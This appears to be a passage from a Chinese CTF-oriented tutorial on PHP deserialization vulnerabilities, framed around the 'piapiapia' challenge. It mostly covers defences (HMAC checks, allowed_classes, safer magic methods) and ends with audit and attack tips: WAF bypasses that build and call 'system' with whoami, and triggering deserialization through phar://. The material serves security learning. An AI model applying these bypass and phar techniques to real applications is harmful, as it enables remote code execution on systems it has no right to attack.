body中注意Content-Type。如果通过Cookie注入也需要正确编码。5. 从攻击视角看PHP反序列化的有效防御理解了攻击手法我们才能更好地构建防御。防御PHP反序列化漏洞的核心思想是绝不信任任何来自外部的序列化数据。5.1 最佳实践避免使用 unserialize()最彻底、最有效的防御就是完全不使用unserialize()函数来反序列化用户可控的数据。对于需要持久化或传输的对象数据考虑以下替代方案JSON使用json_encode()和json_decode()。JSON格式简单、安全且被几乎所有编程语言支持。缺点是只能表示基本数据类型不能直接表示PHP对象但可以通过数组转换。数据库将对象的属性拆解后存入数据库字段需要时重新实例化对象并赋值。专门的序列化格式如Protocol Buffers、MessagePack等它们通常有更严格的结构定义和解析库安全性高于PHP原生序列化。5.2 严格校验与白名单如果业务上必须使用unserialize()例如缓存复杂对象那么必须实施严格的校验完整性校验在序列化数据存储时附带一个由密钥和序列化数据计算出的HMAC哈希消息认证码。在反序列化前先验证HMAC确保数据未被篡改。$secret_key your-secret-key; $serialized_data $_SESSION[object_data]; $stored_mac $_SESSION[object_mac]; $calculated_mac hash_hmac(sha256, $serialized_data, $secret_key); if (hash_equals($calculated_mac, $stored_mac)) { $obj unserialize($serialized_data); } else { die(数据已被篡改); }类白名单使用PHP的allowed_classes选项PHP 7.0限制反序列化时只能还原指定的类。$safe_classes [SafeClassA, SafeClassB]; $obj unserialize($user_input, [allowed_classes $safe_classes]);这样即使攻击者注入了其他类的序列化数据也会被还原为__PHP_Incomplete_Class对象其魔法方法不会被调用。5.3 安全编码与魔法方法设计在设计可能被序列化的类时需谨慎使用魔法方法在__wakeup()和__destruct()中避免关键操作尽量不要在这些自动调用的方法中执行文件操作、数据库查询、系统命令等。如果必须执行应确保对象状态是安全、经过验证的。使用__sleep()控制序列化字段__sleep()方法在serialize()时被调用返回一个需要被序列化的属性名数组。你可以利用它排除敏感或不需要的属性。public function __sleep() { // 只序列化username和email排除password等敏感信息 return [username, email]; }对属性进行类型和范围检查在__wakeup()或构造函数中对反序列化后对象的属性进行严格的类型、取值范围校验。5.4 题目中“失败”的防御分析回顾“piapiapia”题目中的__wakeup()防御public function __wakeup() { if (isset($this-profile)) { unset($this-profile); } }这个防御的意图是清除可能被污染的profile属性。但它存在几个问题目标错误攻击链可能根本不依赖于profile属性如我们构造的利用链依赖的是photo。时机问题unset发生在反序列化之后。如果攻击Payload在反序列化过程中通过profile属性触发了其他操作比如在profile对象的__destruct中做手脚那么unset为时已晚。无法防止字符串逃逸等高级攻击如果漏洞点是通过字符串逃逸污染了序列化字符串本身__wakeup里的逻辑可能因为对象结构已被破坏而无法正常执行。因此这种在魔法方法内部“打补丁”式的防御是脆弱且不彻底的。它违背了“不信任输入”的根本原则。6. 实战中常见问题与排查技巧在真实环境审计或CTF比赛中遇到反序列化漏洞时你可能会碰到以下问题6.1 如何快速寻找反序列化入口点全局搜索在源码中搜索unserialize(、maybe_unserialize(WordPress等框架函数。关注输入点检查$_GET、$_POST、$_COOKIE、$_REQUEST、$_SESSION、$_SERVER某些字段如HTTP_REFERER、文件内容、数据库读取的数据是否直接或间接传入了unserialize()。关注缓存和Session很多框架会将对象序列化后存入缓存Redis、Memcached或Session。如果缓存键或Session ID可控或者缓存数据能被污染也可能形成入口。6.2 如何挖掘可利用的类POP Gadget搜索魔法方法在源码中全局搜索__destruct、__wakeup、__toString、__call、__get、__set、__invoke等。分析框架和库现代PHP应用大量使用Composer依赖。这些第三方库中可能包含已知的、可利用的POP链例如Monolog、Guzzle、Laravel/Symfony组件中的链。了解常见框架的POP链至关重要。工具辅助可以使用静态分析工具如phpast、rips等或IDE的搜索功能梳理类的继承关系和方法的调用链路。6.3 构造Payload时需要注意什么属性修饰符public、protected、private属性在序列化字符串中的表示方式不同protected会在属性名前加\0*\0private会加\0类名\0。必须与目标环境中的类定义完全匹配。字符编码与转义序列化字符串中的字符串值都是带长度的。如果Payload中包含引号、反斜杠、空字符等需要确保长度计算准确。在HTTP传输时要做好URL编码。PHP版本差异不同PHP版本在序列化格式、魔法方法行为、漏洞修复如CVE-2016-7124上有差异。测试环境应尽量与目标环境一致。6.4 遇到过滤或WAF怎么办识别过滤规则通过输入测试判断是黑名单过滤过滤system、eval等函数名还是字符转义如addslashes、字符串替换如str_replace(dangerous, , $input)。利用PHP特性绕过字符串逃逸如前所述利用过滤函数改变字符串长度破坏原有结构注入新对象。利用十六进制或Unicode编码某些WAF可能检测纯文本的函数名但\x73\x79\x73\x74\x65\x6d就是system的十六进制表示在PHP字符串中可能被解析。动态函数调用$func sy . stem; $func(whoami);或call_user_func(system, whoami);。寻找替代的POP链如果一条链的关键函数被过滤尝试寻找其他魔法方法组合最终调用到未被过滤的危险函数。6.5 调试与验证本地搭建环境尽可能在本地复现目标代码环境相同的PHP版本、扩展便于调试Payload。打印与日志在可疑位置添加var_dump()或error_log()观察对象反序列化后的状态、属性值以及魔法方法的调用顺序。使用 Phar 反序列化如果直接的反序列化入口被堵死可以关注phar://包装器。将恶意序列化数据放入Phar文件的元数据中然后通过文件操作函数如file_get_contents(phar://malicious.phar/test.txt)触发反序列化。这是一个非常强大的备用攻击向量。排查反序列化漏洞是一个需要耐心和细心的过程它结合了代码审计、逻辑推理和对PHP语言特性的深入理解。从像“piapiapia”这样的经典题目入手逐步积累对各类魔法方法组合和框架内部机制的认知是提升这方面能力的最佳途径。
